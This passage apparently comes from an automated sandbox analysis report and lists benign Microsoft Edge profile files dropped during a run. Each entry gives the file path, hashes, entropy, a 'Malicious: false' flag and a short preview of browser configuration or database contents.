SHA-512:	15F63E50493EE296322CFE79A3AD2DFE415C8A7FB59216255B3AD5C2A367EAC0C8AB94E458FB10065E8B2F944E0C1EC1DE0391C9AF934EFE4324303D088051B5
Malicious:	false
Preview:	2024/11/11-22:16:19.871 1ee8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/11-22:16:19.871 1ee8 Recovering log #3.2024/11/11-22:16:19.872 1ee8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651241515917364
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMsSAELyKOMq+8yC8F/YfU5m+OlTLVumMF:Bq+n0Js9ELyKOMq+8y9/OwxF
MD5:	D460DF0C1C2C58EADFFDCB0CA715350C
SHA1:	1F598FFE43D008A5C58ECFE59865B1A7695F9276
SHA-256:	82CA7C8775DDD208509715287DA4F2F63BAA17356A353B1AB6D938FFBED9AEC0
SHA-512:	1C6270B071DC2E7EE3B05E8AF752631DA5536DABC444F45AA5C8B9591F5980C0040ED91932DF583A3300C1BEB8D4AD7BBCC20727D98A92763F283470AE05DFCB
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46647566981969885
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0J9s:v7doKsKuKZKlZNmu46yjx0JC
MD5:	725F50534BD0E75AA6F35E4BD945EB6A
SHA1:	60BCC7201E1460BCEC858F9A94D4ABF6DBFC99C3
SHA-256:	BDF9B051064508FB661FC5B874C18D78A4C9F9061A2ED2742227529C41D55937
SHA-512:	B8C1C15EAA0EA92AB60BB8BE77ED77E73645F2FD99A2F91653641EDE6C10DA4D353692B90AD3E8C98C39AF642A634D0273B1DF1996F255E5AE23FBD482DC4BB4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d9ae66fd-24f2-4309-8f18-358b20af71e8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17467), with no line terminators
Category:	dropped
Size (bytes):	17469
Entropy (8bit):	5.476829642913163
Encrypted:	false
SSDEEP:	384:stmPGKSu4Ks4ofhhSkutCjnsbGcQwu6WrlaTYz:sMOxulofq3bGb9taTYz
MD5:	B96552996976AF5B87AB6E0F05339E70
SHA1:	200D2706B003F39B867B1310D8DFF34CBE6150FB
SHA-256:	409764ADCEAFBD97D94C0A00239041FA697CB674579F0C60C4FC8E10D54A6EFF
SHA-512:	4D007A3D3D28C25E8F166DCC84575D7DCEE729A5A3BE13F60CEBD972EA24B8140927F9E05D60F669F3A33FFE8F3FB32C0F93AEE5F072BB29D12B9F95FC4D6D02
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375854980374011","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fc9532fc-bb60-4184-affd-724a18325120.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17302), with no line terminators
Category:	dropped
Size (bytes):	17304
Entropy (8bit):	5.480143950115799
Encrypted:	false
SSDEEP:	384:stmPGKSu4Ks4ofhhSkutCjnsbGcQwu6WLaTYz:sMOxulofq3bGb9/aTYz
MD5:	DC3608243A5C11DEB4095A7A20E9A0BD
SHA1:	6681623E7C0FE72970C21E908F77322E8C641946
SHA-256:	9079DF9CC5A4B1BC9A878AA7BF9B48A7B82E49730FA6D53A0F20FFB1F742B067
SHA-512:	6F5916C6341E90DE395F8F3C5FE00DBD549003F44BDFFA7B4EBCDC72763448533EDF8AC4FE9EF521BDA371A124B304639884F9003CB059A24F21FF3ADE62E3C9
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375854980374011","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10614429548635568
Encrypted:	false
SSDEEP:	12:Jntrr0Wntrr0ZpEjVl/PnnnnnnnnnnnnvoQhEoZ:JntrQWntrQ3oPnnnnnnnnnnnnvLj
MD5:	0819C78CF060853B00BB6E4808C9B9C8
SHA1:	B0DB8BB600A2209DF7AAF534D07DBB1A738F291F
SHA-256:	043AC83C6E61B7199343C724683E2BFF9AB9C6A703D992A4776AB55940B9CCAF
SHA-512:	19458EF31829578DFDB2F386A972E2C33F07C71DF40DA64011569994C6C44FEF03144E4D45640425042FBBA8C65E7FDF666F78938CE38E957B7264B0D6292605
Malicious:	false
Preview:	..-.............Q...........d..4..}....t.4(..-.............Q...........d..4..}....t.4(........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9326026953678426
Encrypted:	false
SSDEEP:	384:G2WJLvJAWqJ4GqJoxqJ9iqJk3hqJ2VqJjNqJzYqJ0r1JqJ8v8tyHy69yOyFj6yO8:w1qC1tgU/89X6sN
MD5:	05C09D0AFD7514CAABF93F50BB1B5DE4
SHA1:	B21BE7E1069F13B67A16398A6AC31DA13A1499C3
SHA-256:	62251443A5EAF0B452BC96BA68B7D6D04741909D868DADCB49F8AB7D466E55CB
SHA-512:	950B84DA2DABFE630D1CEDCFD3DD8B1D07FB009C95FC68A0FA7088DD174F44D7ED0CB03AD70BF7764FABDA2FF44918ACC5BF1CA83720D8D07A66577E9322688F
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	3.4970693203278134
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuulqllIWM8jTSlkTSlkTSlkTSlkT:iDjelIWI999
MD5:	AC113695BA205BB5304CB6CEB9B97E3E
SHA1:	148449CE5C991290C769E784929EE19628CD7EAB
SHA-256:	A90ACE00A532077A4830813B0C06C505E8E1045DAA3AE126CBA2CFD7016DBD55
SHA-512:	FA9D570A5BA4FC385BBECD2DB5D996A4D77255998AEB6EB54767FE641880378432BCB28FA9314CACAFE64C173B06534B5668D604122AE96BC5E524401338A935
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............'s..:...............#38_h.......6.Z..W.F.....CY......CY.........\V.e................V.e.................C.H0................39_config..........6.....n ...12B.l...............2B.l...............2B.l...............2B.l...............2B.l...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.115933510790635
Encrypted:	false
SSDEEP:	6:HUx46Xv4q2P923oH+TcwtfrK+IFUt8YUx4T3JZmw+YUx4T3DkwO923oH+TcwtfrF:j9v4Yeb23FUt8ct/+cf5LYeb3J
MD5:	9B2DC252469E1D7A0FCA762C496449EF
SHA1:	BE56D02310037FB68E4422272C8C298A9363271E
SHA-256:	59261AE821FB10BB79E54E81DEBF928F8A733E34602D32D514F3E71AB9357111
SHA-512:	0C12E395704EB01FECFF58899779D4CD9AA17C0FA1305542891CF89F17F4EE96211CF3033D8138A5232E272258250CDAE718D80638B2EE63246DCF6FD3BE92D5
Malicious:	false
Preview:	2024/11/11-22:16:20.407 1a00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/11-22:16:20.408 1a00 Recovering log #3.2024/11/11-22:16:20.408 1a00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.115933510790635
Encrypted:	false
SSDEEP:	6:HUx46Xv4q2P923oH+TcwtfrK+IFUt8YUx4T3JZmw+YUx4T3DkwO923oH+TcwtfrF:j9v4Yeb23FUt8ct/+cf5LYeb3J
MD5:	9B2DC252469E1D7A0FCA762C496449EF
SHA1:	BE56D02310037FB68E4422272C8C298A9363271E
SHA-256:	59261AE821FB10BB79E54E81DEBF928F8A733E34602D32D514F3E71AB9357111
SHA-512:	0C12E395704EB01FECFF58899779D4CD9AA17C0FA1305542891CF89F17F4EE96211CF3033D8138A5232E272258250CDAE718D80638B2EE63246DCF6FD3BE92D5
Malicious:	false
Preview:	2024/11/11-22:16:20.407 1a00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/11-22:16:20.408 1a00 Recovering log #3.2024/11/11-22:16:20.408 1a00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.092955127871403
Encrypted:	false
SSDEEP:	6:HUx4UEN4q2P923oH+TcwtfrzAdIFUt8YUx4UdlJZmw+YUx4UdlDkwO923oH+Tcwc:jUEOv4Yeb9FUt8cUx/+cUr5LYeb2J
MD5:	F8B25ED9C21B0F3379325910507F81F5
SHA1:	332FCE41D96869F090703C971127ABB8ADBE366A
SHA-256:	EDA26D76C3816CCA8BA9BD6CF7A9C4A329B5EEF604518DC68B106CED85FCDC91
SHA-512:	6F85C69D583EE324E5BDB0922F6A34C507A179E5D1173F3BB70F30CA737B2360E00B1C4609F1B9DCF06ED9AD64DC9C707080F3A2FC8AB9F33228DCA6B8A9EDFC
Malicious:	false
Preview:	2024/11/11-22:16:20.404 1a00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/11-22:16:20.405 1a00 Recovering log #3.2024/11/11-22:16:20.405 1a00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.092955127871403
Encrypted:	false
SSDEEP:	6:HUx4UEN4q2P923oH+TcwtfrzAdIFUt8YUx4UdlJZmw+YUx4UdlDkwO923oH+Tcwc:jUEOv4Yeb9FUt8cUx/+cUr5LYeb2J
MD5:	F8B25ED9C21B0F3379325910507F81F5
SHA1:	332FCE41D96869F090703C971127ABB8ADBE366A
SHA-256:	EDA26D76C3816CCA8BA9BD6CF7A9C4A329B5EEF604518DC68B106CED85FCDC91
SHA-512:	6F85C69D583EE324E5BDB0922F6A34C507A179E5D1173F3BB70F30CA737B2360E00B1C4609F1B9DCF06ED9AD64DC9C707080F3A2FC8AB9F33228DCA6B8A9EDFC
Malicious:	false
Preview:	2024/11/11-22:16:20.404 1a00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/11-22:16:20.405 1a00 Recovering log #3.2024/11/11-22:16:20.405 1a00 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\uu_host_config

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	398313
Entropy (8bit):	4.953803318132309
Encrypted:	false
SSDEEP:	1536:veqeoyyQJztYNr3CZsTKsvbbOPlMa0JJoG3JfeX5B7FxRG0MZ/d18bfpyvFaRnxY:q7JVZb0JOGiMldObbFG/eFd2X134a
MD5:	4529A95302CDD7EF2BB39E087A5E8DF6
SHA1:	6449A1AAEF5A5BBF798FF0FFF1BB51F5150FD578
SHA-256:	A41F5D82CF139CB1C29E91EE45A873B98879971E5E5552CC3B903EB8FE1CF658
SHA-512:	B314C5434D903E0472C7A1E02E958DE7DC68C7FE44CAC3486B98C48BB057E6263EC6EF00A1CCC186FC6CD3240EC2D62C73D091975B669ACE7D978AB65A670318
Malicious:	false
Preview:	{. "0123movies.com": "{\"Tier1\": [983, 6061], \"Tier2\": [4948, 1106, 9972]}",. "1020398.app.netsuite.com": "{\"Tier1\": [6061, 8405, 5938], \"Tier2\": [228, 236]}",. "1337x.to": "{\"Tier1\": [6061, 983], \"Tier2\": [6657, 475, 4068]}",. "2cvresearch.decipherinc.com": "{\"Tier1\": [8405], \"Tier2\": [379, 6101]}",. "3817341.extforms.netsuite.com": "{\"Tier1\": [6061, 8405, 5938], \"Tier2\": [7746]}",. "3cx.integrafin.co.uk": "{\"Tier1\": [8405, 6061], \"Tier2\": [2863, 5391]}",. "4540582.extforms.netsuite.com": "{\"Tier1\": [8405], \"Tier2\": [228, 236, 7746]}",. "7589.directpaper.name": "{\"Tier1\": [8405], \"Tier2\": []}",. "7a201srvitportl.cymru.nhs.uk": "{\"Tier1\": [], \"Tier2\": [9870]}",. "7a3cjsvmifitla1.cymru.nhs.uk": "{\"Tier1\": [6061], \"Tier2\": [1092]}",. "7a3cjsvmlivwebb.cymru.nhs.uk": "{\"Tier1\": [148, 6061], \"Tier2\": [9870, 9813]}",. "8ballpool.com": "{\"Tier1\": [8741, 3907, 983], \"Tier2\": [9151, 5779, 6916]}",. "9anime.gs"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09076931819827
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMEwuF9hDO6vP6O+Btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6gtbz8hu3VlXr4CRo1
MD5:	06EBCD1F664E5319B99A21C278E45017
SHA1:	F89F85CC81BD3951047C6B471586B6EDFE3C4478
SHA-256:	3E9AEDC2761848D8E6AB7934A0C5BB28C85797164C31FDC946DFD09A6F937C88
SHA-512:	90BF771F09F8934582869F5AF3EB44E81B312A650FF79E27E0047560D57CB67DF3A86FD0FD121C1376D3EEF0EE18ED41443AC851E87EBFFAACC6134A93C7F2BF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35e6d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09076931819827
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMEwuF9hDO6vP6O+Btbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6gtbz8hu3VlXr4CRo1
MD5:	06EBCD1F664E5319B99A21C278E45017
SHA1:	F89F85CC81BD3951047C6B471586B6EDFE3C4478
SHA-256:	3E9AEDC2761848D8E6AB7934A0C5BB28C85797164C31FDC946DFD09A6F937C88
SHA-512:	90BF771F09F8934582869F5AF3EB44E81B312A650FF79E27E0047560D57CB67DF3A86FD0FD121C1376D3EEF0EE18ED41443AC851E87EBFFAACC6134A93C7F2BF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35e7c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09076931819827
Encrypted:	false
